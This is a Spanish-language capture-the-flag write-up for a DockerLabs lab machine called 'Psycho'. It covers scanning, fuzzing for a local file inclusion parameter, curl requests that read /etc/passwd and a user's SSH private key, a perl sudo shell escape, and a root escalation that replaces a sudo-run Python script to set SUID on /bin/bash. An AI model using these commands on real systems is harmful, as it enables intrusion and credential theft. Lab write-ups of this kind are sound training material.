Psycho
🚀Preparación del Entorno
El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:
📌 Paso 1: Descargar el archivo CTF
Descarga el archivo ZIP del CTF que deseas utilizar.
📌 Paso 2: Descomprimir el archivo
Ejecuta el siguiente comando en la terminal:
unzip [nombre].zip
📂 Esto extraerá los siguientes archivos:
auto_deploy.sh(script de despliegue).[nombre].tar(imagen de la máquina virtual).
📌 Paso 3: Ejecutar el script de despliegue
Para iniciar el despliegue de la máquina virtual, ejecuta:
sudo bash auto_deploy.sh [nombre].tar
🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.
🎯Resolución
🔍 Reconocimiento
Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
-sVC: Escaneo de versiones de servicios y ejecución de scripts.-p-: Escanea todos los puertos (1-65535).-n: Desactiva la resolución DNS.--min-rate 5000: Envía paquetes a una tasa mínima de 5000 por segundo para acelerar el escaneo.

🚨 Resultado:
El escaneo revela la presencia de un servicio HTTP en el puerto80y un servicio SSH en el puerto22.

📂 Escaneo de Directorios
Como segundo paso, realizamos un escaneo de los posibles directorios de la página web utilizando el siguiente comando:
Como segundo paso, realizamos un escaneo de los posibles directorios de la página web utilizando el siguiente comando:
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://172.17.0.2 -x txt,sql,py,js,php,html
-
-u http://172.17.0.2/→ URL del servidor web objetivo donde se realizará el escaneo. -
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt→ Ruta al archivo de palabras (wordlist) que contiene posibles nombres de directorios y archivos a buscar. -
-x txt,sql,py,js,php,html→ Extensiones de archivos a buscar.

El escaneo no ha arrojado directorios significativos, pero hemos encontrado un archivoindex.php.
🕵️Análisis de vulnerabilidades
Dado que el escaneo de directorios no ha revelado información útil, probaremos si el sitio es vulnerable a Local File Inclusion (LFI). Para ello, utilizaremos Wfuzz con un ataque de fuerza bruta en un parámetro de la URL.
wfuzz -c --hl=62 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt 'http://172.17.0.2/index.php?FUZZ=../../../../../../../../../etc/passwd'
-
-c→ Muestra los resultados en color. -
--hl=62→ Oculta líneas con 62 caracteres repetidos (útil para filtrar respuestas innecesarias). -
-w→ Ruta a la wordlist utilizada para fuzzing. -
FUZZ→ Parámetro donde se inyectará la carga para detectar vulnerabilidades. -
../../../../../../../../../etc/passwd→ Intentamos leer el archivo/etc/passwdpara comprobar si el sitio es vulnerable a LFI.
🛑 Resultado:
¡El parámetro essecret! 🎯

🎯 Explotación
🔓 Explotación de LFI con curl
Ahora que sabemos que el parámetro secret permite incluir archivos, utilizamos curl para extraer información del sistema:
curl -i http://172.17.0.2/index.php?secret=../../../../../../../../../etc/passwd

Tenemos dos usuarios lusillo y vaxei. Dado que tenemos la vulnerabilidad LFI podemos robar su clave ssh. En este caso funciona el usuario vaxei
curl -i http://172.17.0.2/index.php?secret=../../../../../../../../../home/vaxei/.ssh/id_rsa

Y lo guardamos en un id-rsa. y nos conectamos por ssh como vaxei

Ya estamos dentro de la máquina como vaxei
📈 Escalada de privilegios
🔍 Verificando permisos con sudo -l
Ejecutamos el siguiente comando para ver qué podemos ejecutar como root sin necesidad de contraseña:
sudo -l
El usuario vaxei puede ejecutar perl como el usuario lusillo sin contraseña.

🚀 Escalada a lusillo
Para obtener acceso como lusillo, utilizamos Perl con sudo:
Identificamos un servicio llamado perl que podemos ejecutar como luisillo . Al consultar la página GTFOBins, encontramos que usando el siguiente comando podemos obtener privilegios :
sudo -u luisillo /usr/bin/perl -e 'exec "/bin/bash"'
Vemos que somos el usuario lusillo y aplicamos de nuevo el comando sudo -l para dar salto al usuario root


Podemos ejecutar el script /opt/paw.py con privilegios elevados usando sudo.

-
os.system("echo Ojo Aqui")- Ejecuta un comando en el sistema operativo.
-
subprocess.run(['echo Hello!'], check=True)- Utiliza
subprocess.run()para ejecutar un comando en la terminal.
No tenemos permisos de escritura asi que no podemos modificar dentro de pyhton

Si renombramospaw.pya otro nombre (hola.py) con:
- Utiliza
mv paw.py hola.py
Crear un nuevo paw.py con código malicioso y ejecutar sudo para obtener privilegios elevados.
import os
os.system("chmod u+s /bin/bash")
Y luego ejecutamos
